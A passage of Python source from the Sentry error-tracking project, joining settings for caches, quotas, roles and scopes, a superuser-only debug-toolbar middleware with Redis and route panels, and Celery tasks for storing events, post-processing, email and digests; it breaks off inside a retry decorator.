        'BACKEND': 'django.core.cache.backends.dummy.DummyCache',
    }
}

# The cache version affects both Django's internal cache (at runtime) as well
# as Sentry's cache. This automatically overrides VERSION on the default
# CACHES backend.
CACHE_VERSION = 1

# Digests backend
SENTRY_DIGESTS = 'sentry.digests.backends.dummy.DummyBackend'
SENTRY_DIGESTS_OPTIONS = {}

# Quota backend
SENTRY_QUOTAS = 'sentry.quotas.Quota'
SENTRY_QUOTA_OPTIONS = {}

# Rate limiting backend
SENTRY_RATELIMITER = 'sentry.ratelimits.base.RateLimiter'
SENTRY_RATELIMITER_OPTIONS = {}

# The default value for project-level quotas
SENTRY_DEFAULT_MAX_EVENTS_PER_MINUTE = '90%'

# Node storage backend
SENTRY_NODESTORE = 'sentry.nodestore.django.DjangoNodeStorage'
SENTRY_NODESTORE_OPTIONS = {}

# Search backend
SENTRY_SEARCH = 'sentry.search.django.DjangoSearchBackend'
SENTRY_SEARCH_OPTIONS = {}
# SENTRY_SEARCH_OPTIONS = {
#     'urls': ['http://localhost:9200/'],
#     'timeout': 5,
# }

# Time-series storage backend
SENTRY_TSDB = 'sentry.tsdb.dummy.DummyTSDB'
SENTRY_TSDB_OPTIONS = {}

# rollups must be ordered from highest granularity to lowest
SENTRY_TSDB_ROLLUPS = (
    # (time in seconds, samples to keep)
    (10, 360),  # 60 minutes at 10 seconds
    (3600, 24 * 7),  # 7 days at 1 hour
    (3600 * 24, 60),  # 60 days at 1 day
)


# File storage
SENTRY_FILESTORE = 'django.core.files.storage.FileSystemStorage'
SENTRY_FILESTORE_OPTIONS = {'location': '/tmp/sentry-files'}

# Internal metrics
SENTRY_METRICS_BACKEND = 'sentry.metrics.dummy.DummyMetricsBackend'
SENTRY_METRICS_OPTIONS = {}
SENTRY_METRICS_SAMPLE_RATE = 1.0
SENTRY_METRICS_PREFIX = 'sentry.'

# URI Prefixes for generating DSN URLs
# (Defaults to URL_PREFIX by default)
SENTRY_ENDPOINT = None
SENTRY_PUBLIC_ENDPOINT = None

# Prevent variables (e.g. context locals, http data, etc) from exceeding this
# size in characters
SENTRY_MAX_VARIABLE_SIZE = 512

# Prevent variables within extra context from exceeding this size in
# characters
SENTRY_MAX_EXTRA_VARIABLE_SIZE = 4096 * 4  # 16kb

# For changing the amount of data seen in Http Response Body part.
SENTRY_MAX_HTTP_BODY_SIZE = 4096 * 4  # 16kb

# For various attributes we don't limit the entire attribute on size, but the
# individual item. In those cases we also want to limit the maximum number of
# keys
SENTRY_MAX_DICTIONARY_ITEMS = 50

SENTRY_MAX_MESSAGE_LENGTH = 1024 * 8
SENTRY_MAX_STACKTRACE_FRAMES = 50
SENTRY_MAX_EXCEPTIONS = 25

# Gravatar service base url
SENTRY_GRAVATAR_BASE_URL = 'https://secure.gravatar.com'

# Timeout (in seconds) for fetching remote source files (e.g. JS)
SENTRY_SOURCE_FETCH_TIMEOUT = 5

# List of IP subnets which should not be accessible
SENTRY_DISALLOWED_IPS = ()

# Fields which managed users cannot change via Sentry UI. Username and password
# cannot be changed by managed users. Optionally include 'email' and
# 'name' in SENTRY_MANAGED_USER_FIELDS.
SENTRY_MANAGED_USER_FIELDS = ()

SENTRY_SCOPES = set([
    'org:read',
    'org:write',
    'org:delete',
    'member:read',
    'member:write',
    'member:delete',
    'team:read',
    'team:write',
    'team:delete',
    'project:read',
    'project:write',
    'project:delete',
    'project:releases',
    'event:read',
    'event:write',
    'event:delete',
])

SENTRY_DEFAULT_ROLE = 'member'

# Roles are ordered, which represents a sort-of hierarchy, as well as how
# they're presented in the UI. This is primarily important in that a member
# that is earlier in the chain cannot manage the settings of a member later
# in the chain (they still require the appropriate scope).
SENTRY_ROLES = (
    {
        'id': 'member',
        'name': 'Member',
        'desc': 'Members can view and act on events, as well as view most other data within the organization.',
        'scopes': set([
            'event:read', 'event:write', 'event:delete', 'project:releases',
            'project:read', 'org:read', 'member:read', 'team:read',
        ]),
    },
    {
        'id': 'admin',
        'name': 'Admin',
        'desc': 'Admin privileges on any teams of which they\'re a member. They can create new teams and projects, as well as remove teams and projects which they already hold membership on.',
        'scopes': set([
            'event:read', 'event:write', 'event:delete',
            'org:read', 'member:read',
            'project:read', 'project:write', 'project:delete', 'project:releases',
            'team:read', 'team:write', 'team:delete',
        ]),
    },
    {
        'id': 'manager',
        'name': 'Manager',
        'desc': 'Gains admin access on all teams as well as the ability to add and remove members.',
        'is_global': True,
        'scopes': set([
            'event:read', 'event:write', 'event:delete',
            'member:read', 'member:write', 'member:delete',
            'project:read', 'project:write', 'project:delete', 'project:releases',
            'team:read', 'team:write', 'team:delete',
            'org:read', 'org:write',
        ]),
    },
    {
        'id': 'owner',
        'name': 'Owner',
        'desc': 'Gains full permission across the organization. Can manage members as well as perform catastrophic operations such as removing the organization.',
        'is_global': True,
        'scopes': set([
            'org:read', 'org:write', 'org:delete',
            'member:read', 'member:write', 'member:delete',
            'team:read', 'team:write', 'team:delete',
            'project:read', 'project:write', 'project:delete', 'project:releases',
            'event:read', 'event:write', 'event:delete',
        ]),
    },
)

# See sentry/options/__init__.py for more information
SENTRY_OPTIONS = {}
SENTRY_DEFAULT_OPTIONS = {}

# You should not change this setting after your database has been created
# unless you have altered all schemas first
SENTRY_USE_BIG_INTS = False

# Delay (in ms) to induce on API responses
SENTRY_API_RESPONSE_DELAY = 0

# Watchers for various application purposes (such as compiling static media)
# XXX(dcramer): this doesn't work outside of a source distribution as the
# webpack.config.js is not part of Sentry's datafiles
SENTRY_WATCHERS = (
    ('webpack', [os.path.join(NODE_MODULES_ROOT, '.bin', 'webpack'), '--output-pathinfo', '--watch',
     "--config={}".format(os.path.normpath(os.path.join(PROJECT_ROOT, os.pardir, os.pardir, "webpack.config.js")))]),
)

# Max file size for avatar photo uploads
SENTRY_MAX_AVATAR_SIZE = 5000000

# statuspage.io support
STATUS_PAGE_ID = None
STATUS_PAGE_API_HOST = 'statuspage.io'

SENTRY_ONPREMISE = True


def get_raven_config():
    return {
        'release': sentry.__build__,
        'register_signals': True,
        'include_paths': [
            'sentry',
        ],
    }

RAVEN_CONFIG = get_raven_config()

# Config options that are explicitly disabled from Django
DEAD = object()

# This will eventually get set from values in SENTRY_OPTIONS during
# sentry.runner.initializer:bootstrap_options
SECRET_KEY = DEAD
EMAIL_BACKEND = DEAD
EMAIL_HOST = DEAD
EMAIL_PORT = DEAD
EMAIL_HOST_USER = DEAD
EMAIL_HOST_PASSWORD = DEAD
EMAIL_USE_TLS = DEAD
SERVER_EMAIL = DEAD
EMAIL_SUBJECT_PREFIX = DEAD

SUDO_URL = 'sentry-sudo'

# TODO(dcramer): move this to getsentry.com so it can be automated
SDK_VERSIONS = {
    'raven-js': '3.3.0',
    'raven-python': '5.23.0',
}

SDK_URLS = {
    'raven-js': 'https://docs.sentry.io/hosted/clients/javascript/',
    'raven-python': 'https://docs.sentry.io/hosted/clients/python/',
    'raven-swift': 'https://docs.sentry.io/hosted/clients/cocoa/',
}

DEPRECATED_SDKS = {
    # sdk name => new sdk name
    'raven-objc': 'sentry-swift',
}






from __future__ import absolute_import

import os
import json
import sentry


# change locale file dir name to locale code
def dirname_to_local(dir_name):
    if '_' in dir_name:
        pre, post = dir_name.split('_', 1)
        dir_name = '{}-{}'.format(pre, post.lower())
    return dir_name


with open(os.path.join(os.path.dirname(sentry.__file__),
                       'locale', 'catalogs.json'), 'r') as f:
    CATALOGS = json.load(f)['supported_locales']
    CATALOGS = [dirname_to_local(dirname) for dirname in CATALOGS]






"""
sentry.conf
~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import






from __future__ import absolute_import






from __future__ import absolute_import

import json
import re

from debug_toolbar.toolbar import DebugToolbar
from django.conf import settings
from django.template.loader import render_to_string
from django.utils.encoding import force_text
from six.moves import _thread as thread


class ToolbarCache(object):
    def __init__(self):
        self._toolbars = {}

    def create(self, request):
        toolbar = DebugToolbar(request)
        self._toolbars[thread.get_ident()] = toolbar
        return toolbar

    def pop(self):
        return self._toolbars.pop(thread.get_ident(), None)

    def get(self):
        return self._toolbars.get(thread.get_ident(), None)

toolbar_cache = ToolbarCache()


class DebugMiddleware(object):
    _body_regexp = re.compile(re.escape('</body>'), flags=re.IGNORECASE)

    def show_toolbar_for_request(self, request):
        # TODO(dcramer): support VPN via INTERNAL_IPS + ipaddr maps
        if not settings.SENTRY_DEBUGGER:
            return False
        if not request.is_superuser():
            return False
        if 'text/html' not in request.META.get('HTTP_ACCEPT', '*/*'):
            return False
        return True

    def show_toolbar_for_response(self, response):
        content_type = response['Content-Type']
        for type in ('text/html', 'application/json'):
            if type in content_type:
                return True
        return False

    def process_request(self, request):
        # Decide whether the toolbar is active for this request.
        if not self.show_toolbar_for_request(request):
            return

        toolbar = toolbar_cache.create(request)

        # Activate instrumentation ie. monkey-patch.
        for panel in toolbar.enabled_panels:
            panel.enable_instrumentation()

        # Run process_request methods of panels like Django middleware.
        response = None
        for panel in toolbar.enabled_panels:
            response = panel.process_request(request)
            if response:
                break
        return response

    def process_view(self, request, view_func, view_args, view_kwargs):
        toolbar = toolbar_cache.get()
        if not toolbar:
            return

        # Run process_view methods of panels like Django middleware.
        response = None
        for panel in toolbar.enabled_panels:
            response = panel.process_view(request, view_func, view_args, view_kwargs)
            if response:
                break

    def process_response(self, request, response):
        toolbar = toolbar_cache.pop()
        if not toolbar:
            return response

        if not self.show_toolbar_for_response(response):
            return response

        # Run process_response methods of panels like Django middleware.
        for panel in reversed(toolbar.enabled_panels):
            new_response = panel.process_response(request, response)
            if new_response:
                response = new_response

        # Deactivate instrumentation ie. monkey-unpatch. This must run
        # regardless of the response. Keep 'return' clauses below.
        # (NB: Django's model for middleware doesn't guarantee anything.)
        for panel in reversed(toolbar.enabled_panels):
            panel.disable_instrumentation()

        # Collapse the toolbar by default if SHOW_COLLAPSED is set.
        if 'djdt' in request.COOKIES:
            response.delete_cookie('djdt')

        try:
            content = force_text(response.content, encoding='utf-8')
        except UnicodeDecodeError:
            # Make sure we at least just return a response on an encoding issue
            return response

        if 'text/html' not in response['Content-Type']:
            if 'application/json' in response['Content-Type']:
                content = json.dumps(json.loads(content), indent=2)
            content = render_to_string('debug_toolbar/wrapper.html', {
                'content': content,
            })
            response['Content-Type'] = 'text/html'

        # Insert the toolbar in the response.
        bits = self._body_regexp.split(content)
        if len(bits) > 1:
            bits[-2] += toolbar.render_toolbar()
            content = '</body>'.join(bits)

        response.content = content
        response['Content-Length'] = len(content)
        return response






from __future__ import absolute_import

from time import time


class FunctionWrapper(object):
    def __init__(self, collector):
        self.collector = collector

    def __call__(self, func, *args, **kwargs):
        __traceback_hide__ = True  # NOQA

        start = time()
        try:
            return func(*args, **kwargs)
        finally:
            end = time()

            if getattr(func, 'im_class', None):
                arg_str = repr(args[1:])
            else:
                arg_str = repr(args)

            data = {
                'name': func.__name__,
                'args': arg_str,
                'kwargs': repr(kwargs),
                'start': start,
                'end': end,
            }
            self.record(data)

    def record(self, data):
        self.collector.append(data)






from __future__ import absolute_import






from __future__ import absolute_import

import threading
import weakref


class ThreadCollector(object):
    def __init__(self):
        self.collections = weakref.WeakKeyDictionary()

    def enable(self, thread=None):
        if thread is None:
            thread = threading.currentThread()
        self.collections[thread] = []
        return self.collections[thread]

    def disable(self, thread=None):
        if thread is None:
            thread = threading.currentThread()
        try:
            del self.collections[thread]
        except KeyError:
            pass

    def get(self, thread=None):
        if thread is None:
            thread = threading.currentThread()
        return self.collections[thread]

    def append(self, item, thread=None):
        if thread is None:
            thread = threading.currentThread()
        # fail silently if not active for thread
        if thread not in self.collections:
            return
        self.collections[thread].append(item)






from __future__ import absolute_import

import six
import sys

try:
    import pkg_resources
except ImportError:
    pkg_resources = None  # NOQA


def get_package_version(module_name, app):
    version = None

    # Try to pull version from pkg_resource first
    # as it is able to detect version tagged with egg_info -b
    if pkg_resources is not None:
        # pull version from pkg_resources if distro exists
        try:
            return pkg_resources.get_distribution(module_name).version
        except Exception:
            pass

    if hasattr(app, 'get_version'):
        version = app.get_version
    elif hasattr(app, '__version__'):
        version = app.__version__
    elif hasattr(app, 'VERSION'):
        version = app.VERSION
    elif hasattr(app, 'version'):
        version = app.version

    if callable(version):
        try:
            version = version()
        except Exception:
            return None

    if not isinstance(version, six.string_types + (list, tuple)):
        version = None

    if version is None:
        return None

    if isinstance(version, (list, tuple)):
        version = '.'.join(map(six.text_type, version))

    return six.text_type(version)


def get_all_package_versions():
    packages = {}
    for module_name, app in sys.modules.items():
        # ignore items that look like submodules
        if '.' in module_name:
            continue

        if 'sys' == module_name:
            continue

        version = get_package_version(module_name, app)

        if version is None:
            continue

        packages[module_name] = version

    packages['sys'] = '{0}.{1}.{2}'.format(*sys.version_info)

    return packages






from __future__ import absolute_import

from threading import Lock
from sentry.utils.imports import import_string


class PatchContext(object):
    def __init__(self, target, callback):
        target, attr = target.rsplit('.', 1)
        target = import_string(target)
        self.target = target
        self.attr = attr
        self.callback = callback
        self._lock = Lock()
        with self._lock:
            self.func = getattr(target, attr)

    def __enter__(self):
        self.patch()
        return self

    def __exit__(self, exc_type, exc_value, traceback):
        self.unpatch()

    def patch(self):
        with self._lock:
            func = getattr(self.target, self.attr)

            def wrapped(*args, **kwargs):
                __traceback_hide__ = True  # NOQA
                return self.callback(self.func, *args, **kwargs)

            wrapped.__name__ = func.__name__
            if hasattr(func, '__doc__'):
                wrapped.__doc__ = func.__doc__
            if hasattr(func, '__module__'):
                wrapped.__module__ = func.__module__

            setattr(self.target, self.attr, wrapped)

    def unpatch(self):
        with self._lock:
            setattr(self.target, self.attr, self.func)






from __future__ import absolute_import, unicode_literals

from django.template import Context, Template
from django.utils.translation import ugettext_lazy as _
from time import time

from .base import CallRecordingPanel
from ..utils.function_wrapper import FunctionWrapper
from ..utils.patch_context import PatchContext

TEMPLATE = Template("""
{% load i18n %}
<h4>{% trans "Requests" %}</h4>
<table>
    <thead>
        <tr>
            <th>{% trans "Duration" %}</th>
            <th>{% trans "Command" %}</th>
            <th>{% trans "Args" %}</th>
        </tr>
    </thead>
    <tbody>
        {% for call in calls %}
        <tr>
            <td>{{ call.duration }} ms</td>
            <td>{{ call.command }}</td>
            <td>{{ call.args }} {{ call.kwargs }}</td>
        </tr>
        {% endfor %}
    </tbody>
</table>
""")


class RedisPipelineWrapper(FunctionWrapper):
    def __call__(self, func, pipeline, *args, **kwargs):
        __traceback_hide__ = True  # NOQA

        command_stack = pipeline.command_stack[:]

        start = time()
        try:
            return func(pipeline, *args, **kwargs)
        finally:
            end = time()

            data = {
                'name': 'pipeline',
                'args': repr(command_stack),
                'kwargs': repr({}),
                'start': start,
                'end': end,
            }

            self.record(data)


class RedisWrapper(FunctionWrapper):
    def __call__(self, func, *args, **kwargs):
        __traceback_hide__ = True  # NOQA

        start = time()
        try:
            return func(*args, **kwargs)
        finally:
            end = time()

            data = {
                'name': args[1],
                'args': repr(args[2:]),
                'kwargs': repr(kwargs),
                'start': start,
                'end': end,
            }
            self.record(data)


class RedisPanel(CallRecordingPanel):
    title = nav_title = _("Redis")

    @classmethod
    def get_context(cls, collector):
        return [
            PatchContext('redis.client.StrictRedis.execute_command', RedisWrapper(collector)),
            PatchContext('redis.client.BasePipeline.execute', RedisPipelineWrapper(collector)),
        ]

    @property
    def content(self):
        stats = self.get_stats()
        return TEMPLATE.render(Context(stats))

    def process_response(self, request, response):
        calls = []
        total_time = 0
        for call in self.calls:
            duration = int((call['end'] - call['start']) * 1000)

            total_time += duration
            calls.append({
                'duration': duration,
                'command': call['name'],
                'args': call['args'],
                'kwargs': call['kwargs'],
            })

        self.record_stats({
            'calls': calls,
            'total_time': total_time,
        })






from __future__ import absolute_import

from debug_toolbar.panels import Panel
from django.utils.translation import ungettext

from ..utils.thread_collector import ThreadCollector


class CallRecordingPanel(Panel):
    def __init__(self, *args, **kwargs):
        super(CallRecordingPanel, self).__init__(*args, **kwargs)
        cls = type(self)
        if getattr(cls, '_collector', None) is None:
            self.collector = ThreadCollector()

            for context in cls.get_context(self.collector):
                context.patch()

    @classmethod
    def get_context(cls):
        """
        >>> @classmethod
        >>> def get_context(cls, collector):
        >>>     return [
        >>>         PatchContext('foo.bar', FunctionWrapper(collector))
        >>>     ]
        """
        raise NotImplementedError

    def enable_instrumentation(self):
        self.calls = self.collector.enable()

    def disable_instrumentation(self):
        self.collector.disable()

    @property
    def nav_subtitle(self):
        calls = len(self.calls)
        duration = int(sum(((c['end'] - c['start']) for c in self.calls)) * 1000)

        return ungettext('%(calls)d call in %(duration).2fms',
                         '%(calls)d calls in %(duration).2fms',
                         calls) % {'calls': calls, 'duration': duration}






from __future__ import absolute_import

from django.template import Context, Template
from debug_toolbar.panels import Panel

TEMPLATE = Template("""
{% load i18n %}
<h4>{% trans "Route" %}</h4>
<table>
    <tr>
        <th>Response Code</th>
        <td>{{ response_code }}</td>
    </tr>
    <tr>
        <th>View</th>
        <td><code>{{ view_path }}</code></td>
    </tr>
    <tr>
        <th>Args</th>
        <td><code>{{ view_argspec }}</code></td>
    </tr>
</table>
""")


class RoutePanel(Panel):
    title = "Route"

    template = 'sentry/debug/panels/route.html'

    has_content = True

    def _get_func_name(self, func):
        if hasattr(func, 'im_class'):
            return '{}.{}.{}'.format(
                func.__module__,
                func.im_class.__name__,
                func.__name__,
            )
        return '{}.{}'.format(func.__module__, func.__name__)

    def _get_func_argspec(self, args, kwargs):
        result = []
        for arg in args:
            result.append(arg)
        for pair in kwargs.items():
            result.append(u'%s=%s' % tuple(pair))
        return u', '.join(result)

    def nav_subtitle(self):
        stats = self.get_stats()
        return stats['view_name']

    @property
    def content(self):
        stats = self.get_stats()
        return TEMPLATE.render(Context(stats))

    def process_view(self, request, view_func, view_args, view_kwargs):
        self._view = [view_func, view_args, view_kwargs]

    def process_response(self, request, response):
        stats = {}
        if hasattr(self, '_view'):
            view_func, view_args, view_kwargs = self._view
            stats['response_code'] = response.status_code
            stats['view_name'] = view_func.__name__
            stats['view_path'] = self._get_func_name(view_func)
            stats['view_argspec'] = self._get_func_argspec(view_args, view_kwargs)
        self.record_stats(stats)






from __future__ import absolute_import






"""
sentry.tasks.store
~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

import logging

from raven.contrib.django.models import client as Raven
from time import time

from sentry.cache import default_cache
from sentry.tasks.base import instrumented_task
from sentry.utils import metrics
from sentry.utils.safe import safe_execute

logger = logging.getLogger('sentry')


@instrumented_task(
    name='sentry.tasks.store.preprocess_event',
    queue='events',
    time_limit=65,
    soft_time_limit=60,
)
def preprocess_event(cache_key=None, data=None, start_time=None, **kwargs):
    from sentry.plugins import plugins

    if cache_key:
        data = default_cache.get(cache_key)

    if data is None:
        metrics.incr('events.failed', tags={'reason': 'cache', 'stage': 'pre'})
        logger.error('Data not available in preprocess_event (cache_key=%s)', cache_key)
        return

    project = data['project']
    Raven.tags_context({
        'project': project,
    })

    # TODO(dcramer): ideally we would know if data changed by default
    has_changed = False
    for plugin in plugins.all(version=2):
        processors = safe_execute(plugin.get_event_preprocessors, _with_transaction=False)
        for processor in (processors or ()):
            result = safe_execute(processor, data)
            if result:
                data = result
                has_changed = True

    assert data['project'] == project, 'Project cannot be mutated by preprocessor'

    if has_changed and cache_key:
        default_cache.set(cache_key, data, 3600)

    if cache_key:
        data = None
    save_event.delay(cache_key=cache_key, data=data, start_time=start_time)


@instrumented_task(
    name='sentry.tasks.store.save_event',
    queue='events')
def save_event(cache_key=None, data=None, start_time=None, **kwargs):
    """
    Saves an event to the database.
    """
    from sentry.event_manager import EventManager

    if cache_key:
        data = default_cache.get(cache_key)

    if data is None:
        metrics.incr('events.failed', tags={'reason': 'cache', 'stage': 'post'})
        return

    project = data.pop('project')
    Raven.tags_context({
        'project': project,
    })

    try:
        manager = EventManager(data)
        manager.save(project)
    finally:
        if cache_key:
            default_cache.delete(cache_key)
        if start_time:
            metrics.timing('events.time-to-process', time() - start_time)






"""
sentry.tasks.post_process
~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import, print_function

import logging
import six

from django.db import IntegrityError, router, transaction
from raven.contrib.django.models import client as Raven

from sentry.plugins import plugins
from sentry.signals import event_processed
from sentry.tasks.base import instrumented_task
from sentry.utils import metrics
from sentry.utils.safe import safe_execute

logger = logging.getLogger('sentry')


def _capture_stats(event, is_new):
    # TODO(dcramer): limit platforms to... something?
    group = event.group
    platform = group.platform
    if not platform:
        return
    platform = platform.split('-', 1)[0].split('_', 1)[0]

    if is_new:
        metrics.incr('events.unique')

    metrics.incr('events.processed')
    metrics.incr('events.processed.{platform}'.format(
        platform=platform))
    metrics.timing('events.size.data', len(six.text_type(event.data)))


@instrumented_task(
    name='sentry.tasks.post_process.post_process_group')
def post_process_group(event, is_new, is_regression, is_sample, **kwargs):
    """
    Fires post processing hooks for a group.
    """
    # NOTE: we must pass through the full Event object, and not an
    # event_id since the Event object may not actually have been stored
    # in the database due to sampling.
    from sentry.models import Project
    from sentry.models.group import get_group_with_redirect
    from sentry.rules.processor import RuleProcessor

    # Re-bind Group since we're pickling the whole Event object
    # which may contain a stale Group.
    event.group, _ = get_group_with_redirect(event.group_id)
    event.group_id = event.group.id

    project_id = event.group.project_id
    Raven.tags_context({
        'project': project_id,
    })

    # Re-bind Project since we're pickling the whole Event object
    # which may contain a stale Project.
    event.project = Project.objects.get_from_cache(id=project_id)

    _capture_stats(event, is_new)

    rp = RuleProcessor(event, is_new, is_regression, is_sample)
    # TODO(dcramer): ideally this would fanout, but serializing giant
    # objects back and forth isn't super efficient
    for callback, futures in rp.apply():
        safe_execute(callback, event, futures)

    for plugin in plugins.for_project(event.project):
        plugin_post_process_group(
            plugin_slug=plugin.slug,
            event=event,
            is_new=is_new,
            is_regresion=is_regression,
            is_sample=is_sample,
        )

    event_processed.send_robust(
        sender=post_process_group,
        project=event.project,
        group=event.group,
        event=event,
    )


def record_additional_tags(event):
    from sentry.models import Group

    added_tags = []
    for plugin in plugins.for_project(event.project, version=2):
        added_tags.extend(safe_execute(plugin.get_tags, event, _with_transaction=False) or ())
    if added_tags:
        Group.objects.add_tags(event.group, added_tags)


@instrumented_task(
    name='sentry.tasks.post_process.plugin_post_process_group',
    stat_suffix=lambda plugin_slug, *a, **k: plugin_slug)
def plugin_post_process_group(plugin_slug, event, **kwargs):
    """
    Fires post processing hooks for a group.
    """
    plugin = plugins.get(plugin_slug)
    safe_execute(plugin.post_process, event=event, group=event.group, **kwargs)


@instrumented_task(
    name='sentry.tasks.post_process.record_affected_user')
def record_affected_user(event, **kwargs):
    from sentry.models import EventUser, Group

    user_data = event.data.get('sentry.interfaces.User', event.data.get('user'))
    if not user_data:
        logger.info('No user data found for event_id=%s', event.event_id)
        return

    euser = EventUser(
        project=event.project,
        ident=user_data.get('id'),
        email=user_data.get('email'),
        username=user_data.get('username'),
        ip_address=user_data.get('ip_address'),
    )

    if not euser.tag_value:
        # no ident, bail
        logger.info('No identifying value found for user on event_id=%s',
                    event.event_id)
        return

    try:
        with transaction.atomic(using=router.db_for_write(EventUser)):
            euser.save()
    except IntegrityError:
        pass

    Group.objects.add_tags(event.group, [
        ('sentry:user', euser.tag_value)
    ])


@instrumented_task(
    name='sentry.tasks.index_event_tags',
    default_retry_delay=60 * 5, max_retries=None)
def index_event_tags(project_id, event_id, tags, group_id=None, **kwargs):
    from sentry.models import EventTag, Project, TagKey, TagValue

    for key, value in tags:
        tagkey, _ = TagKey.objects.get_or_create(
            project=Project(id=project_id),
            key=key,
        )

        tagvalue, _ = TagValue.objects.get_or_create(
            project=Project(id=project_id),
            key=key,
            value=value,
        )

        try:
            # handle replaying of this task
            with transaction.atomic():
                EventTag.objects.create(
                    project_id=project_id,
                    group_id=group_id,
                    event_id=event_id,
                    key_id=tagkey.id,
                    value_id=tagvalue.id,
                )
        except IntegrityError:
            pass






"""
sentry.tasks.email
~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import, print_function

import logging

from sentry.auth import access
from sentry.tasks.base import instrumented_task
from sentry.utils.email import send_messages

logger = logging.getLogger(__name__)


def _get_user_from_email(group, email):
    from sentry.models import User

    # TODO(dcramer): we should encode the userid in emails so we can avoid this
    for user in User.objects.filter(email__iexact=email):
        # Make sure that the user actually has access to this project
        context = access.from_user(user=user, organization=group.organization)
        if not context.has_team(group.project.team):
            logger.warning('User %r does not have access to group %r', user, group)
            continue

        return user


@instrumented_task(
    name='sentry.tasks.email.process_inbound_email',
    queue='email',
    default_retry_delay=60 * 5, max_retries=None)
def process_inbound_email(mailfrom, group_id, payload):
    """
    """
    from sentry.models import Event, Group
    from sentry.web.forms import NewNoteForm

    try:
        group = Group.objects.select_related('project', 'team').get(pk=group_id)
    except Group.DoesNotExist:
        logger.warning('Group does not exist: %d', group_id)
        return

    user = _get_user_from_email(group, mailfrom)
    if user is None:
        logger.warning('Inbound email from unknown address: %s', mailfrom)
        return

    event = group.get_latest_event()

    if event:
        Event.objects.bind_nodes([event], 'data')
        event.group = group
        event.project = group.project

    form = NewNoteForm({'text': payload})
    if form.is_valid():
        form.save(group, user, event=event)


@instrumented_task(
    name='sentry.tasks.email.send_email',
    queue='email',
    default_retry_delay=60 * 5, max_retries=None)
def send_email(message):
    send_messages([message])






from __future__ import absolute_import

from datetime import timedelta
from django.db.models import Max
from django.utils import timezone

from sentry.constants import VALID_PLATFORMS
from sentry.models import Group, Project, ProjectPlatform
from sentry.tasks.base import instrumented_task


@instrumented_task(name='sentry.tasks.collect_project_platforms', queue='stats')
def collect_project_platforms(**kwargs):
    now = timezone.now()

    min_project_id = 0
    max_project_id = Project.objects.aggregate(x=Max('id'))['x'] or 0
    step = 1000
    while min_project_id < max_project_id:
        queryset = Group.objects.filter(
            last_seen__gte=now - timedelta(days=1),
            project__gte=min_project_id,
            project__lt=min_project_id + step,
            platform__isnull=False,
        ).values_list('platform', 'project_id').distinct()

        for platform, project_id in queryset:
            platform = platform.lower()
            if platform not in VALID_PLATFORMS:
                continue
            ProjectPlatform.objects.create_or_update(
                project_id=project_id,
                platform=platform,
                values={
                    'last_seen': now,
                },
            )
        min_project_id += step

    # remove (likely) unused platform associations
    ProjectPlatform.objects.filter(
        last_seen__lte=now - timedelta(days=30),
    ).delete()






from __future__ import absolute_import

import logging
import time

from sentry.digests import get_option_key
from sentry.digests.backends.base import InvalidState
from sentry.digests.notifications import (
    build_digest,
    split_key,
)
from sentry.models import (
    Project,
    ProjectOption,
)
from sentry.tasks.base import instrumented_task


logger = logging.getLogger(__name__)


@instrumented_task(
    name='sentry.tasks.digests.schedule_digests',
    queue='digests.scheduling')
def schedule_digests():
    from sentry.app import digests

    deadline = time.time()

    # The maximum (but hopefully not typical) expected delay can be roughly
    # calculated by adding together the schedule interval, the # of shards *
    # schedule timeout (at least until these are able to be processed in
    # parallel), the expected duration of time an item spends waiting in the
    # queue to be processed for delivery and the expected duration of time an
    # item takes to be processed for delivery, so this timeout should be
    # relatively high to avoid requeueing items before they even had a chance
    # to be processed.
    timeout = 300
    digests.maintenance(deadline - timeout)

    for entry in digests.schedule(deadline):
        deliver_digest.delay(entry.key, entry.timestamp)


@instrumented_task(
    name='sentry.tasks.digests.deliver_digest',
    queue='digests.delivery')
def deliver_digest(key, schedule_timestamp=None):
    from sentry.app import digests

    try:
        plugin, project = split_key(key)
    except Project.DoesNotExist as error:
        logger.info('Cannot deliver digest %r due to error: %s', key, error)
        digests.delete(key)
        return

    minimum_delay = ProjectOption.objects.get_value(
        project,
        get_option_key(plugin.get_conf_key(), 'minimum_delay')
    )

    try:
        with digests.digest(key, minimum_delay=minimum_delay) as records:
            digest = build_digest(project, records)
    except InvalidState as error:
        logger.info('Skipped digest delivery: %s', error, exc_info=True)
        return

    if digest:
        plugin.notify_digest(project, digest)






"""
sentry.tasks.base
~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import resource

from celery.task import current
from contextlib import contextmanager
from functools import wraps
from raven.contrib.django.models import client as Raven

from sentry.celery import app
from sentry.utils import metrics


def get_rss_usage():
    return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss


@contextmanager
def track_memory_usage(metric, **kwargs):
    before = get_rss_usage()
    try:
        yield
    finally:
        metrics.timing(metric, get_rss_usage() - before, **kwargs)


def instrumented_task(name, stat_suffix=None, **kwargs):
    def wrapped(func):
        @wraps(func)
        def _wrapped(*args, **kwargs):
            # TODO(dcramer): we want to tag a transaction ID, but overriding
            # the base on app.task seems to cause problems w/ Celery internals
            transaction_id = kwargs.pop('__transaction_id', None)

            key = 'jobs.duration'
            if stat_suffix:
                instance = '{}.{}'.format(name, stat_suffix(*args, **kwargs))
            else:
                instance = name
            Raven.tags_context({
                'task_name': name,
                'transaction_id': transaction_id,
            })
            with metrics.timer(key, instance=instance), \
                    track_memory_usage('jobs.memory_change', instance=instance):
                try:
                    result = func(*args, **kwargs)
                finally:
                    Raven.context.clear()
            return result
        return app.task(name=name, **kwargs)(_wrapped)
    return wrapped


def retry(func=None, on=(Exception, ), exclude=()):
    """
    >>> @retry(on=(Exception,), exclude=(AnotherException,))
    >>> def my_task():
    >>>     ...
    """

    if func:
        return retry()(func)

    def inner(func):
        @wraps(func)
        def wrapped(*args, **kwargs):
            try:
                return func(*args, **kwargs)
            except exclude:
                raise
            except on as exc:
                Raven.captureException()
